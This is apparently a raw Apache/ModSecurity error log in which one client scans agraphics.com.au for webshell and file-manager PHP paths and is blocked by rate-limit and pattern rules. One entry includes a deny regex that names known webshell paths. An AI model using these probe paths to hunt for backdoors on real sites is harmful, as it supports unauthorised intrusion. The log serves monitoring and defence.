[Fri Feb 13 00:16:31.034965 2026] [:error] [pid 46718:tid 46737] [client 20.215.189.110:21134] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY3830dfX45LelQwruRnEwAAAdA"]
[Fri Feb 13 00:16:32.948975 2026] [:error] [pid 46603:tid 46607] [client 20.215.189.110:27472] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aY384PEi6O39v05JNJeyHQAAAQI"]
[Fri Feb 13 00:16:34.066356 2026] [:error] [pid 63417:tid 63470] [client 20.215.189.110:45353] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aY384v8gSb97qRMtXCIfrgAAAFU"]
[Fri Feb 13 00:16:35.303387 2026] [:error] [pid 46718:tid 46743] [client 20.215.189.110:17457] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aY3840dfX45LelQwruRnFwAAAdY"]
[Fri Feb 13 00:16:36.022820 2026] [:error] [pid 46603:tid 46621] [client 20.215.189.110:20408] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aY385PEi6O39v05JNJeyIQAAARA"]
[Fri Feb 13 00:16:36.830002 2026] [:error] [pid 46603:tid 46624] [client 20.215.189.110:39648] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miansha.php"] [unique_id "aY385PEi6O39v05JNJeyIwAAARM"]
[Fri Feb 13 00:16:37.604563 2026] [:error] [pid 63511:tid 63533] [client 20.215.189.110:15148] [client 20.215.189.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aY385aQCQbD5BgeyIk1SvAAAABQ"]
[Fri Feb 13 00:16:38.423063 2026] [:error] [pid 63511:tid 63520] [client 20.215.189.110:21129] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfile25.php"] [unique_id "aY385qQCQbD5BgeyIk1SvgAAAAc"]
[Fri Feb 13 00:16:39.276420 2026] [:error] [pid 65064:tid 65083] [client 20.215.189.110:17466] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfile25.php"] [unique_id "aY385xOvRgscTcqsMBkzTwAAANA"]
[Fri Feb 13 00:16:40.152746 2026] [:error] [pid 63511:tid 63528] [client 20.215.189.110:20380] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfile25.php"] [unique_id "aY386KQCQbD5BgeyIk1SwAAAAA8"]
[Fri Feb 13 00:16:41.160131 2026] [:error] [pid 46718:tid 46745] [client 20.215.189.110:33430] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aY386UdfX45LelQwruRnHwAAAdg"]
[Fri Feb 13 00:16:42.082793 2026] [:error] [pid 46675:tid 46678] [client 20.215.189.110:45367] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aY386juaQILPonWFiQmmEwAAAUA"]
[Fri Feb 13 00:16:42.800253 2026] [:error] [pid 46603:tid 46629] [client 20.215.189.110:8232] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aY386vEi6O39v05JNJeyLAAAARg"]
[Fri Feb 13 00:16:43.457162 2026] [:error] [pid 63416:tid 63430] [client 20.215.189.110:33437] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aY38672wmecPaCHcM2_34AAAAYk"]
[Fri Feb 13 00:16:44.120607 2026] [:error] [pid 46675:tid 46685] [client 20.215.189.110:21179] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aY387DuaQILPonWFiQmmFgAAAUc"]
[Fri Feb 13 00:16:44.698471 2026] [:error] [pid 46603:tid 46627] [client 20.215.189.110:45331] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aY387PEi6O39v05JNJeyMAAAARY"]
[Fri Feb 13 00:16:45.318307 2026] [:error] [pid 63417:tid 63457] [client 20.215.189.110:28013] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aY387f8gSb97qRMtXCIfuAAAAEg"]
[Fri Feb 13 00:16:45.934329 2026] [:error] [pid 63416:tid 63442] [client 20.215.189.110:17841] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aY387b2wmecPaCHcM2_34gAAAZU"]
[Fri Feb 13 00:16:46.765594 2026] [:error] [pid 46718:tid 46724] [client 20.215.189.110:20354] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aY387kdfX45LelQwruRnJAAAAcM"]
[Fri Feb 13 00:16:47.565981 2026] [:error] [pid 65064:tid 65078] [client 20.215.189.110:15894] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aY387xOvRgscTcqsMBkzVwAAAMs"]
[Fri Feb 13 00:16:48.573664 2026] [:error] [pid 63418:tid 63497] [client 20.215.189.110:35941] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aY388Nzjh-bbJnStPZIaTwAAAJU"]
[Fri Feb 13 00:16:49.254260 2026] [:error] [pid 63417:tid 63460] [client 20.215.189.110:15896] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/muzu.php"] [unique_id "aY388f8gSb97qRMtXCIfvAAAAEs"]
[Fri Feb 13 00:16:49.955039 2026] [:error] [pid 46603:tid 46629] [client 20.215.189.110:10285] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aY388fEi6O39v05JNJeyNQAAARg"]
[Fri Feb 13 00:16:50.983318 2026] [:error] [pid 65064:tid 65086] [client 20.215.189.110:8192] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aY388hOvRgscTcqsMBkzXAAAANM"]
[Fri Feb 13 00:16:51.990454 2026] [:error] [pid 46675:tid 46688] [client 20.215.189.110:17833] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aY388zuaQILPonWFiQmmIgAAAUo"]
[Fri Feb 13 00:16:52.813373 2026] [:error] [pid 46718:tid 46724] [client 20.215.189.110:20049] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/reze.php"] [unique_id "aY389EdfX45LelQwruRnLgAAAcM"]
[Fri Feb 13 00:16:53.629710 2026] [:error] [pid 46718:tid 46731] [client 20.215.189.110:26378] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aY389UdfX45LelQwruRnMQAAAco"]
[Fri Feb 13 00:16:54.254396 2026] [:error] [pid 65064:tid 65087] [client 20.215.189.110:35925] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aY389hOvRgscTcqsMBkzXgAAANQ"]
[Fri Feb 13 00:16:54.973767 2026] [:error] [pid 65064:tid 65073] [client 20.215.189.110:5307] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aY389hOvRgscTcqsMBkzYAAAAMY"]
[Fri Feb 13 00:16:56.089712 2026] [:error] [pid 65064:tid 65068] [client 20.215.189.110:28019] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/styll.php"] [unique_id "aY38-BOvRgscTcqsMBkzYgAAAME"]
[Fri Feb 13 00:16:57.287869 2026] [proxy_fcgi:error] [pid 63511:tid 63519] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:57.653258 2026] [proxy_fcgi:error] [pid 63511:tid 63532] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:57.912954 2026] [proxy_fcgi:error] [pid 63511:tid 63536] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:58.228485 2026] [proxy_fcgi:error] [pid 63511:tid 63513] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:58.513367 2026] [proxy_fcgi:error] [pid 63511:tid 63521] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:58.826496 2026] [proxy_fcgi:error] [pid 63511:tid 63530] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:59.100246 2026] [proxy_fcgi:error] [pid 63511:tid 63523] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:59.381580 2026] [proxy_fcgi:error] [pid 63511:tid 63518] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:59.674825 2026] [proxy_fcgi:error] [pid 63511:tid 63524] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:16:59.953466 2026] [proxy_fcgi:error] [pid 63511:tid 63516] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:17:00.214169 2026] [proxy_fcgi:error] [pid 63511:tid 63520] [client 20.215.189.110:35952] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:17:00.584782 2026] [:error] [pid 63511:tid 63527] [client 20.215.189.110:35952] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY38_KQCQbD5BgeyIk1S2QAAAA4"]
[Fri Feb 13 00:17:01.985163 2026] [:error] [pid 63418:tid 63500] [client 20.215.189.110:5997] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY38_dzjh-bbJnStPZIaWAAAAJg"]
[Fri Feb 13 00:17:02.876997 2026] [:error] [pid 46718:tid 46730] [client 20.215.189.110:45646] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY38_kdfX45LelQwruRnOgAAAck"]
[Fri Feb 13 00:17:03.934529 2026] [:error] [pid 63511:tid 63526] [client 20.215.189.110:36523] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY38_6QCQbD5BgeyIk1S2wAAAA0"]
[Fri Feb 13 00:17:05.382296 2026] [:error] [pid 46675:tid 46689] [client 20.215.189.110:7943] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY39ATuaQILPonWFiQmmQAAAAUs"]
[Fri Feb 13 00:17:06.563444 2026] [:error] [pid 46675:tid 46682] [client 20.215.189.110:10257] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY39AjuaQILPonWFiQmmRAAAAUQ"]
[Fri Feb 13 00:17:07.507700 2026] [:error] [pid 46718:tid 46728] [client 20.215.189.110:5443] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY39A0dfX45LelQwruRnPAAAAcc"]
[Fri Feb 13 00:17:08.316207 2026] [:error] [pid 46675:tid 46683] [client 20.215.189.110:7748] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY39BDuaQILPonWFiQmmSgAAAUU"]
[Fri Feb 13 00:17:09.059274 2026] [:error] [pid 46718:tid 46723] [client 20.215.189.110:11384] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39BUdfX45LelQwruRnPwAAAcI"]
[Fri Feb 13 00:17:09.684078 2026] [:error] [pid 63511:tid 63530] [client 20.215.189.110:9546] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39BaQCQbD5BgeyIk1S3wAAABE"]
[Fri Feb 13 00:17:10.466149 2026] [:error] [pid 63417:tid 63470] [client 20.215.189.110:32109] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39Bv8gSb97qRMtXCIfzAAAAFU"]
[Fri Feb 13 00:17:11.445119 2026] [:error] [pid 46718:tid 46738] [client 20.215.189.110:7788] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39B0dfX45LelQwruRnQgAAAdE"]
[Fri Feb 13 00:17:12.487006 2026] [:error] [pid 63416:tid 63439] [client 20.215.189.110:36869] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39CL2wmecPaCHcM2_38wAAAZI"]
[Fri Feb 13 00:17:13.223513 2026] [:error] [pid 63511:tid 63528] [client 20.215.189.110:5593] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39CaQCQbD5BgeyIk1S5AAAAA8"]
[Fri Feb 13 00:17:14.140834 2026] [:error] [pid 63418:tid 63489] [client 20.215.189.110:42613] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39Ctzjh-bbJnStPZIaYgAAAI0"]
[Fri Feb 13 00:17:15.045161 2026] [:error] [pid 46718:tid 46735] [client 20.215.189.110:5615] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aY39C0dfX45LelQwruRnTAAAAc4"]
[Fri Feb 13 00:17:15.871077 2026] [:error] [pid 46675:tid 46690] [client 20.215.189.110:20863] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aY39CzuaQILPonWFiQmmWgAAAUw"]
[Fri Feb 13 00:17:16.748131 2026] [:error] [pid 63417:tid 63463] [client 20.215.189.110:11330] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aY39DP8gSb97qRMtXCIf1wAAAE4"]
[Fri Feb 13 00:17:17.436253 2026] [:error] [pid 46675:tid 46681] [client 20.215.189.110:18202] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aY39DTuaQILPonWFiQmmWwAAAUM"]
[Fri Feb 13 00:17:18.410344 2026] [:error] [pid 46675:tid 46691] [client 20.215.189.110:36813] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aY39DjuaQILPonWFiQmmYgAAAU0"]
[Fri Feb 13 00:17:19.174376 2026] [:error] [pid 46603:tid 46621] [client 20.215.189.110:18200] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aY39D_Ei6O39v05JNJeyXgAAARA"]
[Fri Feb 13 00:17:19.999400 2026] [:error] [pid 65064:tid 65078] [client 20.215.189.110:12185] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aY39DxOvRgscTcqsMBkzcAAAAMs"]
